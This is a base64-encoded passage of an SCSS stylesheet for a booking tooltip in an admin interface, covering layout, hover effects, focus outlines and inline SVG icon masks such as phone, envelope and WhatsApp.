IHRyYW5zZm9ybTogdHJhbnNsYXRlWSgwKTtcbiAgICBwb2ludGVyLWV2ZW50czogYXV0bztcbiAgfVxuXG4gIC8vIEFjY2Vzc2liaWxpdHkgaW1wcm92ZW1lbnRzXG4gICY6Zm9jdXMtd2l0aGluIHtcbiAgICBvdXRsaW5lOiAycHggc29saWQgcmdiYShhZG1pbl9jb25maWcuJGNsX2RfbWFpbiwgMC4yNSk7XG4gICAgb3V0bGluZS1vZmZzZXQ6IDJweDtcbiAgfVxuXG4gIC5zbG4tdG9vbHRpcC1jb250ZW50IHtcbiAgICBiYWNrZ3JvdW5kOiBhZG1pbl9jb25maWcuJGNsX2RfYmctLWxpZ2h0LTI7XG4gICAgYm9yZGVyLXJhZGl1czogMS43NXJlbTtcbiAgICBib3gtc2hhZG93OiAwIDRweCAxMnB4IHJnYmEoMCwgMCwgMCwgMC4xNSk7XG4gICAgd2lkdGg6IDE5LjVyZW07XG4gICAgbWF4LXdpZHRoOiAxOS41cmVtO1xuICAgIG1pbi13aWR0aDogMTkuNXJlbTtcbiAgICBmb250LXNpemU6IDE0cHg7XG4gICAgbGluZS1oZWlnaHQ6IDEuNDtcbiAgfVxuXG4gICYuc2xuLXRvb2x0aXAtLXZpc2libGUgLnNsbi10b29sdGlwLWNvbnRlbnQge1xuICAgIGFuaW1hdGlvbjogc2xuLXRvb2x0aXAtZmFkZS1pbiAwLjJzIGVhc2U7XG4gIH1cbiAgLnNsbi10b29sdGlwLWhlYWRlciB7XG4gICAgcG9zaXRpb246IHJlbGF0aXZlO1xuICB9XG59XG5cbi5zbG4tYm9va2luZy10b29sdGlwIHtcbiAgcG9zaXRpb246IHJlbGF0aXZlO1xufVxuXG4uc2xuLXRvb2x0aXAtdGl0bGUge1xuICBtYXJnaW46IDA7XG4gIGZvbnQtc2l6ZTogMTZweDtcbiAgZm9udC13ZWlnaHQ6IDYwMDtcbiAgY29sb3I6ICMyYzNlNTA7XG4gIGZsZXg6IDE7XG4gIHBhZGRpbmctcmlnaHQ6IDhweDtcbiAgZGlzcGxheTogbm9uZTtcbn1cblxuLnNsbi10b29sdGlwLWNsb3NlIHtcbiAgcG9zaXRpb246IGFic29sdXRlO1xuICB3aWR0aDogMi4yNXJlbTtcbiAgaGVpZ2h0OiAyLjI1cmVtO1xuICB0b3A6IC0zcmVtO1xuICByaWdodDogMXJlbTtcbiAgYmFja2dyb3VuZDogbm9uZTtcbiAgYm9yZGVyOiBub25lO1xuICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9kX21haW47XG4gIGN1cnNvcjogcG9pbnRlcjtcbiAgcGFkZGluZzogMDtcbiAgYm9yZGVyLXJhZGl1czogOTk5OXB4O1xuICBiYWNrZ3JvdW5kOiBhZG1pbl9jb25maWcuJGNsX2RfYmctLWxpZ2h0LTI7XG4gIHRyYW5zZm9ybTogc2NhbGUoMSk7XG4gIHRyYW5zaXRpb246IGFsbCAwLjJzIGVhc2U7XG4gIEBtZWRpYSAoaG92ZXI6IGhvdmVyKSwgKC1tcy1oaWdoLWNvbnRyYXN0OiBub25lKSB7XG4gICAgJjpob3ZlciB7XG4gICAgICBiYWNrZ3JvdW5kOiBhZG1pbl9jb25maWcuJGNsX2RfbWFpbjtcbiAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICAgICAgdHJhbnNmb3JtOiBzY2FsZSgxLjEpO1xuICAgICAgJjo6YWZ0ZXIge1xuICAgICAgICB0cmFuc2Zvcm06IHNjYWxlKDEpIHJvdGF0ZSg0NWRlZyk7XG4gICAgICB9XG4gICAgfVxuICB9XG59XG5cbi5zbG4tdG9vbHRpcC1ib2R5IHtcbiAgcGFkZGluZzogJHRvb2x0aXAtcGFkZGluZztcbn1cblxuLnNsbi10b29sdGlwLWRldGFpbHMtLXRvcCxcbi5zbG4tdG9vbHRpcC1kZXRhaWxzLS1ib3R0b20ge1xuICBtYXJnaW4tYm90dG9tOiAkdG9vbHRpcC1wYWRkaW5nO1xufVxuXG4uc2xuLXRvb2x0aXAtZGV0YWlscy0tdG9wIHtcbiAgLnNsbi10b29sdGlwLWRldGFpbCB7XG4gICAganVzdGlmeS1jb250ZW50OiBzdGFydDtcbiAgICBnYXA6IDAuNXJlbTtcbiAgICAuc2xuLXRvb2x0aXAtbGFiZWwsXG4gICAgLnNsbi10b29sdGlwLXZhbHVlIHtcbiAgICAgIGRpc3BsYXk6IGZsZXg7XG4gICAgICBhbGlnbi1pdGVtczogY2VudGVyO1xuICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfZF90ZXh0LS10b29sdGlwO1xuICAgIH1cbiAgICAuc2xuLXRvb2x0aXAtbGFiZWwge1xuICAgICAgJjo6YmVmb3JlIHtcbiAgICAgICAgbWFyZ2luLXJpZ2h0OiAwLjVyZW07XG4gICAgICAgIGNvbnRlbnQ6ICfil48nO1xuICAgICAgICBmb250LXNpemU6IDAuNWVtO1xuICAgICAgfVxuICAgICAgJjo6YWZ0ZXIge1xuICAgICAgICBjb250ZW50OiAnOic7XG4gICAgICB9XG4gICAgICAvLyBSZW1vdmUgYnVsbGV0IGFuZCBjb2xvbiBmb3IgaWNvbiBsYWJlbHNcbiAgICAgICYuc2xuLXRvb2x0aXAtbGFiZWwtLWljb24ge1xuICAgICAgICAmOjpiZWZvcmUge1xuICAgICAgICAgIGNvbnRlbnQ6IG5vbmU7XG4gICAgICAgICAgbWFyZ2luLXJpZ2h0OiAwO1xuICAgICAgICB9XG4gICAgICAgICY6OmFmdGVyIHtcbiAgICAgICAgICBjb250ZW50OiBub25lO1xuICAgICAgICB9XG4gICAgICAgIC8vIFN0eWxlIGljb25zIGluIGxhYmVsc1xuICAgICAgICAuc2xuLWljb24ge1xuICAgICAgICAgIHdpZHRoOiAxcmVtO1xuICAgICAgICAgIGhlaWdodDogMXJlbTtcbiAgICAgICAgICBtaW4td2lkdGg6IDFyZW07XG4gICAgICAgICAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IGN1cnJlbnRDb2xvcjtcbiAgICAgICAgICAtd2Via2l0LW1hc2stc2l6ZTogY29udGFpbjtcbiAgICAgICAgICBtYXNrLXNpemU6IGNvbnRhaW47XG4gICAgICAgICAgLXdlYmtpdC1tYXNrLXJlcGVhdDogbm8tcmVwZWF0O1xuICAgICAgICAgIG1hc2stcmVwZWF0OiBuby1yZXBlYXQ7XG4gICAgICAgICAgLXdlYmtpdC1tYXNrLXBvc2l0aW9uOiBjZW50ZXI7XG4gICAgICAgICAgbWFzay1wb3NpdGlvbjogY2VudGVyO1xuICAgICAgICAgIFxuICAgICAgICAgIC8vIEljb24gU1ZHIG1hc2tzIGZvciB0b29sdGlwIGxhYmVsc1xuICAgICAgICAgICYuc2xuLWljb24tLWlkLWJhZGdlIHtcbiAgICAgICAgICAgIC13ZWJraXQtbWFzay1pbWFnZTogdXJsKFwiZGF0YTppbWFnZS9zdmcreG1sLCUzQ3N2ZyB2aWV3Qm94PScwIDAgMjQgMjQnIGZpbGw9J25vbmUnIHhtbG5zPSdodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyclM0UlM0NwYXRoIGQ9J00xNSAxMkMxNSAxMy42NTY5IDEzLjY1NjkgMTUgMTIgMTVDMTAuMzQzMSAxNSA5IDEzLjY1NjkgOSAxMkM5IDEwLjM0MzEgMTAuMzQzMSA5IDEyIDlDMTMuNjU2OSA5IDE1IDEwLjM0MzEgMTUgMTJaJyBzdHJva2U9J3doaXRlJyBzdHJva2Utd2lkdGg9JzInLyUzRSUzQ3BhdGggZD0nTTMgNUMzIDMuODk1NDMgMy44OTU0MyAzIDUgM0gxOUMyMC4xMDQ2IDMgMjEgMy44OTU0MyAyMSA1VjE5QzIxIDIwLjEwNDYgMjAuMTA0NiAyMSAxOSAyMUg1QzMuODk1NDMgMjEgMyAyMC4xMDQ2IDMgMTlWNVonIHN0cm9rZT0nd2hpdGUnIHN0cm9rZS13aWR0aD0nMicvJTNFJTNDcGF0aCBkPSdNNyAxOEM3IDE3IDguNSAxNiAxMiAxNkMxNS41IDE2IDE3IDE3IDE3IDE4JyBzdHJva2U9J3doaXRlJyBzdHJva2Utd2lkdGg9JzInIHN0cm9rZS1saW5lY2FwPSdyb3VuZCcvJTNFJTNDL3N2ZyUzRVwiKTtcbiAgICAgICAgICAgIG1hc2staW1hZ2U6IHVybChcImRhdGE6aW1hZ2Uvc3ZnK3htbCwlM0Nzdmcgdmlld0JveD0nMCAwIDI0IDI0JyBmaWxsPSdub25lJyB4bWxucz0naHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmcnJTNFJTNDcGF0aCBkPSdNMTUgMTJDMTUgMTMuNjU2OSAxMy42NTY5IDE1IDEyIDE1QzEwLjM0MzEgMTUgOSAxMy42NTY5IDkgMTJDOSAxMC4zNDMxIDEwLjM0MzEgOSAxMiA5QzEzLjY1NjkgOSAxNSAxMC4zNDMxIDE1IDEyWicgc3Ryb2tlPSd3aGl0ZScgc3Ryb2tlLXdpZHRoPScyJy8lM0UlM0NwYXRoIGQ9J00zIDVDMyAzLjg5NTQzIDMuODk1NDMgMyA1IDNIMTlDMjAuMTA0NiAzIDIxIDMuODk1NDMgMjEgNVYxOUMyMSAyMC4xMDQ2IDIwLjEwNDYgMjEgMTkgMjFINUMzLjg5NTQzIDIxIDMgMjAuMTA0NiAzIDE5VjVaJyBzdHJva2U9J3doaXRlJyBzdHJva2Utd2lkdGg9JzInLyUzRSUzQ3BhdGggZD0nTTcgMThDNyAxNyA4LjUgMTYgMTIgMTZDMTUuNSAxNiAxNyAxNyAxNyAxOCcgc3Ryb2tlPSd3aGl0ZScgc3Ryb2tlLXdpZHRoPScyJyBzdHJva2UtbGluZWNhcD0ncm91bmQnLyUzRSUzQy9zdmclM0VcIik7XG4gICAgICAgICAgfVxuICAgICAgICAgICYuc2xuLWljb24tLXBob25lIHtcbiAgICAgICAgICAgIC13ZWJraXQtbWFzay1pbWFnZTogdXJsKFwiZGF0YTppbWFnZS9zdmcreG1sLCUzQ3N2ZyB2aWV3Qm94PScwIDAgMjQgMjQnIGZpbGw9J25vbmUnIHhtbG5zPSdodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyclM0UlM0NwYXRoIGQ9J00zIDVDMyAzLjg5NTQzIDMuODk1NDMgMyA1IDNIOC4yNzkyNEM4LjcwOTY3IDMgOS4wOTE4MSAzLjI3NTQzIDkuMjI3OTIgMy42ODM3N0wxMC43MjU3IDguMTc3MjFDMTAuODgzMSA4LjY0OTMyIDEwLjY2OTQgOS4xNjUzMSAxMC4yMjQzIDkuMzg3ODdMNy45NjcwMSAxMC41MTY1QzkuMDY5MjUgMTIuOTYxMiAxMS4wMzg4IDE0LjkzMDggMTMuNDgzNSAxNi4wMzNMMTQuNjEyMSAxMy43NzU3QzE0LjgzNDcgMTMuMzMwNiAxNS4zNTA3IDEzLjExNjkgMTUuODIyOCAxMy4yNzQzTDIwLjMxNjIgMTQuNzcyMUMyMC43MjQ2IDE0LjkwODIgMjEgMTUuMjkwMyAyMSAxNS43MjA4VjE5QzIxIDIwLjEwNDYgMjAuMTA0NiAyMSAxOSAyMUgxOEM5LjcxNTczIDIxIDMgMTQuMjg0MyAzIDZWNVonIHN0cm9rZT0nd2hpdGUnIHN0cm9rZS13aWR0aD0nMicgc3Ryb2tlLWxpbmVjYXA9J3JvdW5kJyBzdHJva2UtbGluZWpvaW49J3JvdW5kJy8lM0UlM0Mvc3ZnJTNFXCIpO1xuICAgICAgICAgICAgbWFzay1pbWFnZTogdXJsKFwiZGF0YTppbWFnZS9zdmcreG1sLCUzQ3N2ZyB2aWV3Qm94PScwIDAgMjQgMjQnIGZpbGw9J25vbmUnIHhtbG5zPSdodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyclM0UlM0NwYXRoIGQ9J00zIDVDMyAzLjg5NTQzIDMuODk1NDMgMyA1IDNIOC4yNzkyNEM4LjcwOTY3IDMgOS4wOTE4MSAzLjI3NTQzIDkuMjI3OTIgMy42ODM3N0wxMC43MjU3IDguMTc3MjFDMTAuODgzMSA4LjY0OTMyIDEwLjY2OTQgOS4xNjUzMSAxMC4yMjQzIDkuMzg3ODdMNy45NjcwMSAxMC41MTY1QzkuMDY5MjUgMTIuOTYxMiAxMS4wMzg4IDE0LjkzMDggMTMuNDgzNSAxNi4wMzNMMTQuNjEyMSAxMy43NzU3QzE0LjgzNDcgMTMuMzMwNiAxNS4zNTA3IDEzLjExNjkgMTUuODIyOCAxMy4yNzQzTDIwLjMxNjIgMTQuNzcyMUMyMC43MjQ2IDE0LjkwODIgMjEgMTUuMjkwMyAyMSAxNS43MjA4VjE5QzIxIDIwLjEwNDYgMjAuMTA0NiAyMSAxOSAyMUgxOEM5LjcxNTczIDIxIDMgMTQuMjg0MyAzIDZWNVonIHN0cm9rZT0nd2hpdGUnIHN0cm9rZS13aWR0aD0nMicgc3Ryb2tlLWxpbmVjYXA9J3JvdW5kJyBzdHJva2UtbGluZWpvaW49J3JvdW5kJy8lM0UlM0Mvc3ZnJTNFXCIpO1xuICAgICAgICAgIH1cbiAgICAgICAgICAmLnNsbi1pY29uLS1lbnZlbG9wZSB7XG4gICAgICAgICAgICAtd2Via2l0LW1hc2staW1hZ2U6IHVybChcImRhdGE6aW1hZ2Uvc3ZnK3htbCwlM0Nzdmcgdmlld0JveD0nMCAwIDI0IDI0JyBmaWxsPSdub25lJyB4bWxucz0naHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmcnJTNFJTNDcGF0aCBkPSdNMyA4TDEwLjg5MDYgMTMuMjYwNEMxMS41NjI0IDEzLjcwODMgMTIuNDM3NiAxMy43MDgzIDEzLjEwOTQgMTMuMjYwNEwyMSA4TTUgMTlIMTlDMjAuMTA0NiAxOSAyMSAxOC4xMDQ2IDIxIDE3VjdDMjEgNS44OTU0MyAyMC4xMDQ2IDUgMTkgNUg1QzMuODk1NDMgNSAzIDUuODk1NDMgMyA3VjE3QzMgMTguMTA0NiAzLjg5NTQzIDE5IDUgMTlaJyBzdHJva2U9J3doaXRlJyBzdHJva2Utd2lkdGg9JzInIHN0cm9rZS1saW5lY2FwPSdyb3VuZCcgc3Ryb2tlLWxpbmVqb2luPSdyb3VuZCcvJTNFJTNDL3N2ZyUzRVwiKTtcbiAgICAgICAgICAgIG1hc2staW1hZ2U6IHVybChcImRhdGE6aW1hZ2Uvc3ZnK3htbCwlM0Nzdmcgdmlld0JveD0nMCAwIDI0IDI0JyBmaWxsPSdub25lJyB4bWxucz0naHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmcnJTNFJTNDcGF0aCBkPSdNMyA4TDEwLjg5MDYgMTMuMjYwNEMxMS41NjI0IDEzLjcwODMgMTIuNDM3NiAxMy43MDgzIDEzLjEwOTQgMTMuMjYwNEwyMSA4TTUgMTlIMTlDMjAuMTA0NiAxOSAyMSAxOC4xMDQ2IDIxIDE3VjdDMjEgNS44OTU0MyAyMC4xMDQ2IDUgMTkgNUg1QzMuODk1NDMgNSAzIDUuODk1NDMgMyA3VjE3QzMgMTguMTA0NiAzLjg5NTQzIDE5IDUgMTlaJyBzdHJva2U9J3doaXRlJyBzdHJva2Utd2lkdGg9JzInIHN0cm9rZS1saW5lY2FwPSdyb3VuZCcgc3Ryb2tlLWxpbmVqb2luPSdyb3VuZCcvJTNFJTNDL3N2ZyUzRVwiKTtcbiAgICAgICAgICB9XG4gICAgICAgICAgJi5zbG4taWNvbi0tYXJyb3ctbGVmdC1mcm9tLWJyYWNrZXQge1xuICAgICAgICAgICAgLXdlYmtpdC1tYXNrLWltYWdlOiB1cmwoXCJkYXRhOmltYWdlL3N2Zyt4bWwsJTNDc3ZnIHZpZXdCb3g9JzAgMCAyNCAyNCcgZmlsbD0nbm9uZScgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyUzRSUzQ3BhdGggZD0nTTkgM0g1QzMuODk1NDMgMyAzIDMuODk1NDMgMyA1VjE5QzMgMjAuMTA0NiAzLjg5NTQzIDIxIDUgMjFIOU0xNSA5TDExIDEzTTExIDEzTDE1IDE3TTExIDEzSDIxJyBzdHJva2U9J3doaXRlJyBzdHJva2Utd2lkdGg9JzInIHN0cm9rZS1saW5lY2FwPSdyb3VuZCcgc3Ryb2tlLWxpbmVqb2luPSdyb3VuZCcvJTNFJTNDL3N2ZyUzRVwiKTtcbiAgICAgICAgICAgIG1hc2staW1hZ2U6IHVybChcImRhdGE6aW1hZ2Uvc3ZnK3htbCwlM0Nzdmcgdmlld0JveD0nMCAwIDI0IDI0JyBmaWxsPSdub25lJyB4bWxucz0naHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmcnJTNFJTNDcGF0aCBkPSdNOSAzSDVDMy44OTU0MyAzIDMgMy44OTU0MyAzIDVWMTlDMyAyMC4xMDQ2IDMuODk1NDMgMjEgNSAyMUg5TTE1IDlMMTEgMTNNMTEgMTNMMTUgMTdNMTEgMTNIMjEnIHN0cm9rZT0nd2hpdGUnIHN0cm9rZS13aWR0aD0nMicgc3Ryb2tlLWxpbmVjYXA9J3JvdW5kJyBzdHJva2UtbGluZWpvaW49J3JvdW5kJy8lM0UlM0Mvc3ZnJTNFXCIpO1xuICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgICAgfVxuICAgIH1cbiAgICAmLnNsbi10b29sdGlwLWRldGFpbC0taWQtc3RhdHVzIHtcbiAgICAgIGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2VlbjtcbiAgICAgIC5zbG4tdG9vbHRpcC12YWx1ZSB7XG4gICAgICAgIGRpc3BsYXk6IGZsZXg7XG4gICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7XG4gICAgICAgIGdhcDogMC41cmVtO1xuICAgICAgfVxuICAgIH1cbiAgICAmLnNsbi10b29sdGlwLWRldGFpbC0tY3VzdG9tZXItbm90ZSB7XG4gICAgICBwYWRkaW5nLXRvcDogMXJlbTtcbiAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX2RfdXRpbHMtLXdhcm5pbmc7XG4gICAgICAuc2xuLXRvb2x0aXAtbGFiZWwsXG4gICAgICAuc2xuLXRvb2x0aXAtdmFsdWUge1xuICAgICAgICBjb2xvcjogY3VycmVudENvbG9yO1xuICAgICAgfVxuICAgICAgLnNsbi10b29sdGlwLXZhbHVlIHtcbiAgICAgICAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICAgICAgICBwYWRkaW5nOiAwIDFlbTtcbiAgICAgICAgJjo6YmVmb3JlLCAmOjphZnRlciB7XG4gICAgICAgICAgZm9udC13ZWlnaHQ6IDkwMDtcbiAgICAgICAgfVxuICAgICAgICAmOjpiZWZvcmUge1xuICAgICAgICAgIGNvbnRlbnQ6ICfigJwnO1xuICAgICAgICB9XG4gICAgICAgICY6OmFmdGVyIHtcbiAgICAgICAgICBjb250ZW50OiAn4oCdJztcbiAgICAgICAgfVxuICAgICAgfVxuICAgICAgJjo6YmVmb3JlIHtcbiAgICAgICAgY29udGVudDogJyc7XG4gICAgICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgICAgICB3aWR0aDogMS41cmVtO1xuICAgICAgICBoZWlnaHQ6IDEuNXJlbTtcbiAgICAgICAgbWluLXdpZHRoOiAxLjVyZW07IC8vIFByZXZlbnQgZmxleCBzaHJpbmtpbmdcbiAgICAgICAgZmxleC1zaHJpbms6IDA7IC8vIFByZXZlbnQgZmxleCBzaHJpbmtpbmdcbiAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogY3VycmVudENvbG9yO1xuICAgICAgICBtYXNrLWltYWdlOiB1cmwoXCJkYXRhOmltYWdlL3N2Zyt4bWwsJTNDc3ZnIHZpZXdCb3g9JzAgMCAyMyAyMycgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyUzRSUzQ3BhdGggZD0nTTExLjQ5OTkgNy4zMzMwMVYxMS40OTk3TTExLjQ5OTkgMTUuNjY2M0gxMS41MTAzTTIxLjkxNjYgMTEuNDk5N0MyMS45MTY2IDE3LjI1MjYgMTcuMjUyOSAyMS45MTYzIDExLjQ5OTkgMjEuOTE2M0M1Ljc0Njk1IDIxLjkxNjMgMS4wODMyNSAxNy4yNTI2IDEuMDgzMjUgMTEuNDk5N0MxLjA4MzI1IDUuNzQ2NzEgNS43NDY5NSAxLjA4MzAxIDExLjQ5OTkgMS4wODMwMUMxNy4yNTI5IDEuMDgzMDEgMjEuOTE2NiA1Ljc0NjcxIDIxLjkxNjYgMTEuNDk5N1onIGZpbGw9J25vbmUnIHN0cm9rZT0nd2hpdGUnIHN0cm9rZS13aWR0aD0nMicgc3Ryb2tlLWxpbmVjYXA9J3JvdW5kJyBzdHJva2UtbGluZWpvaW49J3JvdW5kJy8lM0UlM0Mvc3ZnJTNFXCIpO1xuICAgICAgICBtYXNrLXNpemU6IGNvbnRhaW47XG4gICAgICAgIG1hc2stcmVwZWF0OiBuby1yZXBlYXQ7XG4gICAgICB9XG4gICAgfVxuICAgICYuc2xuLXRvb2x0aXAtZGV0YWlsLS1zaG9wIHtcbiAgICAgIC5zbG4tdG9vbHRpcC12YWx1ZSB7XG4gICAgICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgICAgICBvdmVyZmxvdzogaGlkZGVuO1xuICAgICAgICB0ZXh0LW92ZXJmbG93OiBlbGxpcHNpcztcbiAgICAgICAgd2hpdGUtc3BhY2U6IG5vd3JhcDtcbiAgICAgIH1cbiAgICB9XG4gICAgLy8gQWxsb3cgbXVsdGktbGluZSBkaXNwbGF5IGZvciBjaGFubmVsIChvcmlnaW4gKyBlZGl0IGluZm8pXG4gICAgJi5zbG4tdG9vbHRpcC1kZXRhaWwtLWNoYW5uZWwge1xuICAgICAgLnNsbi10b29sdGlwLXZhbHVlIHtcbiAgICAgICAgZGlzcGxheTogYmxvY2s7IC8vIE92ZXJyaWRlIGZsZXggdG8gYWxsb3cgbGluZSBicmVha3NcbiAgICAgICAgbGluZS1oZWlnaHQ6IDEuNDtcbiAgICAgIH1cbiAgICB9XG4gICAgLy8gUGhvbmUgZGV0YWlsIHdpdGggV2hhdHNBcHAgbGlua1xuICAgICYuc2xuLXRvb2x0aXAtZGV0YWlsLS1waG9uZSB7XG4gICAgICAuc2xuLXRvb2x0aXAtd2hhdHNhcHAtbGluayB7XG4gICAgICAgIGRpc3BsYXk6IGlubGluZS1mbGV4O1xuICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyO1xuICAgICAgICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcbiAgICAgICAgd2lkdGg6IDEuNXJlbTtcbiAgICAgICAgaGVpZ2h0OiAxLjVyZW07XG4gICAgICAgIG1hcmdpbi1sZWZ0OiAwLjVyZW07XG4gICAgICAgIHRleHQtZGVjb3JhdGlvbjogbm9uZTtcbiAgICAgICAgdHJhbnNpdGlvbjogYWxsIDAuMnMgZWFzZTtcbiAgICAgICAgY29sb3I6ICMyNUQzNjY7IC8vIFdoYXRzQXBwIGdyZWVuIGNvbG9yXG4gICAgICAgIFxuICAgICAgICAmOmhvdmVyIHtcbiAgICAgICAgICBjb2xvcjogIzEyOEM3RTsgLy8gRGFya2VyIFdoYXRzQXBwIGdyZWVuIG9uIGhvdmVyXG4gICAgICAgICAgdHJhbnNmb3JtOiBzY2FsZSgxLjEpO1xuICAgICAgICB9XG4gICAgICAgIFxuICAgICAgICAmOjpiZWZvcmUge1xuICAgICAgICAgIGZvbnQtZmFtaWx5OiBcIkZvbnRBd2Vzb21lXCI7XG4gICAgICAgICAgZm9udC13ZWlnaHQ6IDMwMDsgLy8gQnJhbmRzIHdlaWdodFxuICAgICAgICAgIGNvbnRlbnQ6IFwiXFxmMjMyXCI7IC8vIFdoYXRzQXBwIGljb25cbiAgICAgICAgICBmb250LXNpemU6IDEuNXJlbTtcbiAgICAgICAgICBsaW5lLWhlaWdodDogMTtcbiAgICAgICAgfVxuICAgICAgfVxuICAgIH1cbiAgfVxufVxuXG4uc2xuLXRvb2x0aXAtZGV0YWlscy0tYm90dG9tIHtcbiAgLnNsbi10b29sdGlwLWRldGFpbCB7XG4gICAgYm9yZGVyLWJvdHRvbTogMXB4IGRhc2hlZCBhZG1pbl9jb25maWcuJGNsX2RfdGV4dC0tbWFpbi0tbGlnaHQ7XG4gICAgLy8gJjpsYXN0LWNoaWxkIHtcbiAgICAvLyAgIGJvcmRlci1ib3R0b206IG5vbmU7XG4gICAgLy8gfVxuICB9XG4gIC5zbG4tdG9vbHRpcC1sYWJlbCxcbiAgLnNsbi10b29sdGlwLXZhbHVlIHtcbiAgICBmb250LXNpemU6IDAuODc1cmVtO1xuICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX2RfdGV4dC0tbGlnaHQtLWV2aWQ7XG4gIH1cbn1cblxuLnNsbi10b29sdGlwLWRldGFpbCB7XG4gIGRpc3BsYXk6IGZsZXg7XG4gIGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2VlbjtcbiAgYWxpZ24taXRlbXM6IGNlbnRlcjtcbiAgZ2FwOiAxLjVyZW07XG4gIHBhZGRpbmc6IDhweCAwO1xufVxuXG4uc2xuLXRvb2x0aXAtbGFiZWwsXG4uc2xuLXRvb2x0aXAtdmFsdWUge1xuICBmb250LXNpemU6IDFyZW07XG59XG5cbi5zbG4tdG9vbHRpcC1kZXRhaWwtLWR1ZSB7XG4gIC5zbG4tdG9vbHRpcC1sYWJlbCxcbiAgLnNsbi10b29sdGlwLXZhbHVlIHtcbiAgICBmb250LXNpemU6IDAuODc1cmVtO1xuICAgIGZvbnQtd2VpZ2h0OiA2MDA7XG4gIH1cbn1cbi5zbG4tdG9vbHRpcC1hY3Rpb25zIHtcbiAgZGlzcGxheTogZmxleDtcbiAgZ2FwOiAxcmVtO1xuICBmbGV4LXdyYXA6IHdyYXA7XG4gIGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2VlbjtcbiAgcGFkZGluZy10b3A6IDAuMjVyZW07XG4gIC5zbG4tdG9vbHRpcC1hY3Rpb24td3JhcHBlciB7XG4gICAgZGlzcGxheTogZmxleDtcbiAgICBhbGlnbi1pdGVtczogY2VudGVyO1xuICAgIGp1c3RpZnktY29udGVudDogY2VudGVyO1xuICB9XG59XG5cbi5zbG4tdG9vbHRpcC1hY3Rpb24ge1xuICBkaXNwbGF5OiBpbmxpbmUtZmxleDtcbiAgYWxpZ24taXRlbXM6IGNlbnRlcjtcbiAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG4gIGJhY2tncm91bmQ6IHRyYW5zcGFyZW50O1xuICBib3JkZXItcmFkaXVzOiA2cHg7XG4gIGN1cnNvcjogcG9pbnRlcjtcbiAgdHJhbnNpdGlvbjogYWxsIDAuMnMgZWFzZTtcbiAgdGV4dC1kZWNvcmF0aW9uOiBub25lO1xuICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9kX21haW47XG4gIGZvbnQtc2l6ZTogMTRweDtcbiAgdHJhbnNmb3JtOiBzY2FsZSgxKTtcblxuICAmOmhvdmVyIHtcbiAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9kX21haW4tLWQxO1xuICAgIHRyYW5zZm9ybTogc2NhbGUoMS4xKTtcbiAgfVxuXG4gICY6YWN0aXZlIHtcbiAgICB0cmFuc2Zvcm06IHNjYWxlKDEpO1xuICB9XG5cbiAgJjpmb2N1cyB7XG4gICAgb3V0bGluZTogMnB4IHNvbGlkIHJnYmEoYWRtaW5fY29uZmlnLiRjbF9kX21haW4sIDAuMjUpO1xuICAgIG91dGxpbmUtb2Zmc2V0OiAycHg7XG4gIH1cblxuICAmLmFjdGl2ZSB7XG4gICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfZF91dGlscy0tcHJvYmxlbTtcbiAgfVxuXG4gICYuc2xuLXByby1kaXNhYmxlZCB7XG4gICAgb3BhY2l0eTogMC41O1xuICAgIGN1cnNvcjogbm90LWFsbG93ZWQ7XG4gICAgcG9zaXRpb246IHJlbGF0aXZlO1xuXG4gICAgJjpob3ZlciB7XG4gICAgICBiYWNrZ3JvdW5kOiAjZmZmO1xuICAgICAgY29sb3I6ICM2Yzc1N2Q7XG4gICAgICB0cmFuc2Zvcm06IG5vbmU7XG4gICAgfVxuICB9XG5cbiAgLnNsbi1pY29uIHtcbiAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gICAgd2lkdGg6IDIuMjVyZW07XG4gICAgaGVpZ2h0OiAyLjI1cmVtO1xuICAgIGJhY2tncm91bmQtY29sb3I6IGN1cnJlbnRDb2xvcjtcbiAgICAtd2Via2l0LW1hc2stc2l6ZTogY29udGFpbjtcbiAgICBtYXNrLXNpemU6IGNvbnRhaW47XG4gICAgLXdlYmtpdC1tYXNrLXJlcGVhdDogbm8tcmVwZWF0O1xuICAgIG1hc2stcmVwZWF0OiBuby1yZXBlYXQ7XG4gICAgLXdlYmtpdC1tYXNrLXBvc2l0aW9uOiBjZW50ZXI7XG4gICAgbWFzay1wb3NpdGlvbjogY2VudGVyO1xuICAgICYuc2xuLWljb24tLWVsbGlwc2lzIHtcbiAgICAgIG1hc2stc2l6ZTogMnJlbTtcbiAgICAgIC13ZWJraXQtbWFzay1pbWFnZTogdXJsKFwiZGF0YTppbWFnZS9zdmcreG1sLCUzQ3N2ZyB2aWV3Qm94PScwIDAgMzYgOCcgZmlsbD0nbm9uZScgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyUzRSUzQ3BhdGggZD0nTTE4IDZDMTkuMTA0NiA2IDIwID